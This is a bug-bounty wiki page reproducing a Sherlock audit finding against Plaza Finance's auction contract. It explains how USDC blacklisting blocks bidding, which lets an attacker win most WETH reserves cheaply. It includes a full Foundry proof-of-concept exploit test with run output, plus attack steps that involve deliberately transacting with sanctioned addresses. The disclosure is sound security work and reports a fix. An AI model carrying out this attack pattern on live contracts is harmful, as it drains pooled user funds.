Skip to content
Business logic Audit finding Advanced

Attacker can drain most of the reserves by weaponizing USDC blacklisting

The auction contract refunds the lowest bidder via a push transfer of USDC, which reverts if that bidder is blacklisted. An attacker can fill the auction with low bids, get the lowest bidder blacklisted, and block all new bids, allowing them to win the auction cheaply and drain most of the reserves.

056Security Follow with 0rpse, 0x23r0 and 42 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/866

Found by

056Security, 0rpse, 0x23r0, 0x52, 0xAkira, 0xDLG, 0xDemon, 0xEkko, 0xGondar, 0xadrii, 0xmystery, Aymen0909, Boy2000, ChainProof, DenTonylifer, Goran, KiroBrejka, KlosMitSoss, PeterSR, Ryonen, Strapontin, Waydou, X0sauce, ZeroTrust, ZoA, almurhasan, alphacipher, ccvascocc, copperscrewer, denys_sosnovskyi, eLSeR17, farismaulana, fuzzysquirrel, jprod15, n1ikh1l, novaman33, pashap9990, phoenixv110, silver_eth, simeonk, t.aksoy, t0x1c, tinnohofficial, zraxx, zxriptor

Summary

Auction mechanism uses push transfer to refund the lowest bidder when their bid has fallen out of the queue. Since refund token will be USDC, this opens a possibility to weaponize USDC blacklisting feature and attack the protocol to drain the reserves out of it.

Root Cause

Auction mechanism can be taken advantage of. The key root cause which enables the vulnerability is in the _removeBid.

Auction works by collecting bids. There can be at most 1000 active bids. When the next bids come it will replace the currently lowest bid. Lowest bid is then removed and that bidder is refunded:

Solidity
  function _removeBid(uint256 bidIndex) internal {
     ...
    // Refund the buy tokens for the removed bid
    IERC20(buyCouponToken).safeTransfer(bidder, sellCouponAmount);

    emit BidRemoved(bidIndex, bidder, buyReserveAmount, sellCouponAmount);

    delete bids[bidIndex];
    bidCount--;
  }

The issue is that coupon token is USDC and refund triggered by safeTransfer will fail if the receiver (the original bidder) is blacklisted. In that case no more bids can enter the system since removing the currently lowest bid will always revert.

This scenario can happen by accident where bidder gets blacklisted. However, it can also be weaponized by attacker to perform an attack on the protocol and drain the majority of the funds from the pool. Attack can look like this:

  • immediately after new auction is started attacker submits 999 super low bids from addressA to acquire ~90% of WETH reserves (auction can't sell more than that)
  • from another addressB attacker submits the last 1000th bid which is even lower than previous ones, and thus the lowest in the system
  • attacker intentionally gets his addressB USDC-blacklisted by CIrcle by ie. interacting with OFAC-sanctioned entities
  • now attacker has guaranteed that no new bids can enter the system (removing the bid would revert) and attacker's super low 999 bids will be accepted by protocol

One thing which is not fully in attacker's control is getting the addressB blacklisted in timely manner, before other bidders outbid the attacker's lowest bid. But attacker can increase the likelihood of getting blacklisted by immediately starting to interact with sanctioned addresses and doing other sanctionable actions. This would automatically flag the address and the malicious behaviour to Circle. On other hand, auction period lasts for 10 days, so other bidders are not in rush to submit their bids. Those factors increase the likelihood of successful attack.

Internal Pre-conditions

No specific internal pre-conditions

External Pre-conditions

  1. Attacker has to be the first bidder to submit bid (more precisely he will submit 1000 bids atomically)
  2. Attacker has to manage to USDC-blacklist his address used to submit 1000th bid

Attack Path

New auction has started. Attacker immediately executes the attack by atomically performing:

  1. From addressA submit 999 bids. USDC amount is minimal in every bid - a single slotSize. WETH amount requested in each bid is ~1/1000 * (90% of WETH reserves).
  2. From address B attacker submits a single bid which fills up the 1000th place in the queue. This will be the lowest bid. USDC amount is a single slotSize, and WETH amount requested is 1 wei less then previous 999 bids, This ensures that this bid is the lowest one
  3. From addressB attacker starts interacting (like sending some USDC) with OFAC santcioned addresses. This should automatically trigger Circle's USDC blacklisting process
  4. Now when legitimate bidder sends their bid, the lowest bid has to be removed (as queue is full at 1000). However removing the bid means sending the refund USDC back to the blacklisted addressB - this will revert.
  5. No one can add the new bid. Auction times passes and endAuction is triggered
  6. Auction is successfully finished. Attacker can now claim his 999 bids. In this way attacker acquires ~90% of WETH reserves for only 999 slotSize amounts of USDC spent. In the POC, it is demonstarted how attacked acquires ~850 WETH for ~7500 USDC

Impact

Pool can lose up to 90% percent of the reserves (or whatever pool sale limit is set to).

PoC

This PoC shows how attacker can drain most of the reserve funds from the Auction by spending a relatively much smaller USDC amount.

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "forge-std/Test.sol";

import "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {BondToken} from "../src/BondToken.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "forge-std/console.sol";

contract PoolTest_FeeCollection is Test {
    address deployer = makeAddr("deployer");
    address feeBeneficiary = makeAddr("feeBeneficiary");
    address governance = makeAddr("governance");

    MockPriceFeed mockPriceFeed;

    // 5% fee
    uint256 fee = 50000;

    function test_AuctionExploit() public {
        // create factory
        PoolFactory factory = _createFactory();
        console.log("Factory created");

        // create tokens
        address reserveToken = address(new Token("Wrapped  ETH", " WETH", false));
        address couponToken = address(new Token("USDC", "USDC", false));
        Token(couponToken).setDecimals(6);

        // create pool
        Pool pool = _createPool(factory, reserveToken, couponToken);
        console.log("Pool created");

        // there is 1000 WETH deposited in the pool (for simplicity in 1 call)
        address alice = makeAddr("alice");
        uint256 deposit = 1000 ether;
        deal(reserveToken, alice, deposit);
        console.log("Users deposits 1000 WETH");
        vm.startPrank(alice);
        IERC20(reserveToken).approve(address(pool), deposit);
        pool.create({tokenType: Pool.TokenType.BOND, depositAmount: deposit, minAmount: 0});
        vm.stopPrank();

        // one distribution period has passed
        vm.warp(block.timestamp + pool.getPoolInfo().distributionPeriod + 1);

        // set 10 days auction period
        uint256 auctionPeriod = 10 days;
        vm.prank(governance);
        pool.setAuctionPeriod(auctionPeriod);

        // start auction
        pool.startAuction();
        Auction auction = Auction(pool.auctions(0));
        uint256 totalCouponAmount = auction.totalBuyCouponAmount();
        uint256 slotSize = totalCouponAmount / 1000;
        console.log("Amount of USDC to be collected in auction:", totalCouponAmount);
        console.log("Slot size:", slotSize);

        //// START EXPLOIT

        // 1st step - attacker submits 999 bids to buy most of the availabe WETH (estimated 90% of reserves at the auction end time)
        // USDC amount is the minimal - 1x slotSize
        // WETH amount is ~ 1/1000 of 90% of reserves per bid (because at most 90% of reserves can be sold in auction)
        address attackerAddressA = makeAddr("attacker address A");
        uint256 wethAmount = 0.85 ether;
        uint256 usdcAmount = slotSize;
        deal(couponToken, attackerAddressA, slotSize * usdcAmount);
        vm.startPrank(attackerAddressA);
        uint256 numberOfBids = 999;
        IERC20(couponToken).approve(address(auction), numberOfBids * usdcAmount);
        for (uint256 i = 0; i < numberOfBids; i++) {
            auction.bid({buyReserveAmount: wethAmount, sellCouponAmount: usdcAmount});
        }
        vm.stopPrank();
        console.log("addressA submitted 999 bids");

        // 2nd step - submit 1000th bid (the one that fills up the bid queue) from another address
        // USDC amount spent is minimal - 1x slotSize per bid
        // WETH amount is a little bit lower than in previous 999 bids - this bid has to be the lowest one
        address attackerAddressB = makeAddr("attacker address B");
        wethAmount += 1;
        usdcAmount = slotSize;
        deal(couponToken, attackerAddressB, usdcAmount);
        vm.startPrank(attackerAddressB);
        IERC20(couponToken).approve(address(auction), usdcAmount);
        auction.bid({buyReserveAmount: wethAmount, sellCouponAmount: usdcAmount});
        vm.stopPrank();
        console.log("addressB submitted 1000th bid");

        // 3rd step - now attacker's goal is to get his addressB blacklisted by Circle as soon as possible.
        // Quick way to do it is to start sending TXs to the US OFAC sanctioned entities. This should automatically trigger blacklisting process
        // Here we mock blacklisting of the addressB
        vm.mockCallRevert(
            couponToken, abi.encodeWithSelector(IERC20.transfer.selector, attackerAddressB, slotSize), "Blacklisted!"
        );
        console.log("addressB (lowest bidder) got blacklisted");

        // 4th step - legitimate bidder tries to submit bid. Since queue is already filled with 1000 bids, the lowest one has to be removed.
        // However removing the lowest bid means sending refund USDC to the blacklisted address -> TX will revert
        address legitimateBidder = makeAddr("legitimateBidder");
        wethAmount = 1 ether;
        usdcAmount = slotSize * 40;
        deal(couponToken, legitimateBidder, usdcAmount);
        vm.startPrank(legitimateBidder);
        IERC20(couponToken).approve(address(auction), usdcAmount);
        console.log("Try submitting legitimate bid");
        auction.bid({buyReserveAmount: wethAmount, sellCouponAmount: usdcAmount});
        vm.stopPrank();
    }

    function _createFactory() internal returns (PoolFactory) {
        vm.startPrank(deployer);

        // create factory
        address oracleFeedsContract = address(new OracleFeeds());
        PoolFactory factory = PoolFactory(
            Utils.deploy(
                address(new PoolFactory()),
                abi.encodeCall(
                    PoolFactory.initialize,
                    (
                        governance,
                        address(new Deployer()),
                        oracleFeedsContract,
                        address(new UpgradeableBeacon(address(new Pool()), deployer)),
                        address(new UpgradeableBeacon(address(new BondToken()), deployer)),
                        address(new UpgradeableBeacon(address(new LeverageToken()), deployer)),
                        address(new UpgradeableBeacon(address(new Distributor()), deployer))
                    )
                )
            )
        );
        vm.stopPrank();

        vm.startPrank(governance);
        factory.grantRole(factory.POOL_ROLE(), deployer);
        vm.stopPrank();

        return factory;
    }

    function _createPool(PoolFactory factory, address reserveToken, address couponToken) internal returns (Pool) {
        vm.startPrank(deployer);
        uint256 reserveAmount = 1e18;
        deal(reserveToken, deployer, reserveAmount);
        IERC20(reserveToken).approve(address(factory), reserveAmount);

        // create pool
        Pool pool = Pool(
            factory.createPool({
                params: PoolFactory.PoolParams({
                    fee: fee,
                    feeBeneficiary: feeBeneficiary,
                    reserveToken: reserveToken,
                    sharesPerToken: 2_500_000,
                    distributionPeriod: 90 days,
                    couponToken: couponToken
                }),
                reserveAmount: reserveAmount,
                bondAmount: 10 ether,
                leverageAmount: 20 ether,
                bondName: "Bond  WETH",
                bondSymbol: "bond WETH",
                leverageName: "Levered  WETH",
                leverageSymbol: "lev WETH",
                pauseOnCreation: false
            })
        );

        // Deploy the mock price feed
        mockPriceFeed = new MockPriceFeed();
        mockPriceFeed.setMockPrice(3000 * int256(10 ** 8), uint8(8));
        OracleFeeds(factory.oracleFeeds()).setPriceFeed(
            address(pool.reserveToken()), address(0), address(mockPriceFeed), 1 days
        );
        vm.stopPrank();

        return pool;
    }
}

Running this test shows how legitimate bidder cannot submit bid, because removing the lowest bid will revert due to the blacklisted submitter.

Solidity
❯ forge test --mt test_AuctionExploit -vv

Ran 1 test for test/G_POC_WBTC.t.sol:PoolTest_FeeCollection
[FAIL: Blacklisted!] test_AuctionExploit() (gas: 1077754809)
Logs:
  Factory created
  Pool created
  Users deposits 1000 WETH
  Amount of USDC to be collected in auction: 75025000000
  Slot size: 75025000
  addressA submitted 999 bids
  addressB submitted 1000th bid
  addressB (lowest bidder) got blacklisted
  Try submitting legitimate bid

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.55s (2.55s CPU time)

Now let's expand the test to demonstrate how auction ends and attacker drains the reserves:

Diff
        // 4th step - legitimate bidder tries to submit bid. Since queue is already filled with 1000 bids, the lowest one has to be removed.
        // However removing the lowest bid means sending refund USDC to the blacklisted address -> TX will revert
        address legitimateBidder = makeAddr("legitimateBidder");
        wethAmount = 1 ether;
        usdcAmount = slotSize * 40;
        deal(couponToken, legitimateBidder, usdcAmount);
        vm.startPrank(legitimateBidder);
        IERC20(couponToken).approve(address(auction), usdcAmount);
        console.log("Try submitting legitimate bid");
+       vm.expectRevert("Blacklisted!");
        auction.bid({buyReserveAmount: wethAmount, sellCouponAmount: usdcAmount});
        vm.stopPrank();

+       // 5th step - after auction ends attacker claims his 999 bids. Ends up acquiring 849.15 WETH for ~7500 USDC.
+       vm.warp(block.timestamp + 10 days);
+       auction.endAuction();
+       assertEq(uint256(auction.state()), uint256(Auction.State.SUCCEEDED));
+       console.log("Auction ended successfully");
+
+       vm.startPrank(attackerAddressA);
+       for (uint256 i = 0; i < numberOfBids; i++) {
+           auction.claimBid(i + 1);
+       }
+       assertEq(IERC20(reserveToken).balanceOf(attackerAddressA), 999 * 0.85 ether);
+
+       console.log("Attacker's amount of USDC spent:", 100 * slotSize);
+       console.log("Attacker's amount of WETH acquired:", IERC20(reserveToken).balanceOf(attackerAddressA));

Run it:

Solidity
❯ forge test --mt test_AuctionExploit -vv

[PASS] test_AuctionExploit() (gas: 1114214211)
Logs:
  Factory created
  Pool created
  Users deposits 1000 WETH
  Amount of USDC to be collected in auction: 75025000000
  Slot size: 75025000
  addressA submitted 999 bids
  addressB submitted 1000th bid
  addressB (lowest bidder) got blacklisted
  Try submitting legitimate bid
  Auction ended successfully
  Attacker's amount of USDC spent: 7502500000
  Attacker's amount of WETH acquired: 849150000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.60s (2.59s CPU time)

As seen in the output attacker acquired 849.15 WETH by spending only ~7500 USDC on the attack!

Mitigation

Use pull instead of push approach for USDC refunds (in the case of automatically removing the lowest bid)

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Convexity-Research/plaza-evm/pull/138

The original report as published on Sherlock, by 056Security. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The auction uses a push transfer to refund the lowest bidder, which reverts if the recipient is blacklisted, blocking further bids.

Impact

The pool can lose up to 90% of its reserves, as the attacker acquires a large portion of the WETH for a small amount of USDC.

What the attacker needed

Attacker must be the first bidder; Attacker must get an address blacklisted by USDC

The fix

The protocol team fixed this issue by using a pull approach for USDC refunds instead of push transfers.

How it was found

  1. Attacker submits 999 bids from address A with minimal USDC and high WETH requested.
  2. Attacker submits a 1000th bid from address B that is slightly lower than the previous 999 bids.
  3. Attacker gets address B blacklisted by USDC (e.g., by interacting with sanctioned addresses).
  4. Legitimate bidders cannot submit new bids because removing the lowest bid would attempt to refund the blacklisted address B, causing a revert.
  5. Auction ends and attacker claims the 999 bids, acquiring most of the reserves at a low cost.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this auction, when a new bid comes in and the auction is full, the lowest bid is removed and that bidder is automatically refunded in USDC. If that bidder's address is blacklisted by USDC, the refund fails and the whole transaction reverts, so no new bids can be placed. An attacker can exploit this by placing many low bids, ensuring the lowest bid is from an address they will get blacklisted, and then no one else can bid, letting the attacker win the auction at a very low price.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 056Security

View all

13 more disclosed reports, best first.

More from Plaza Finance

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.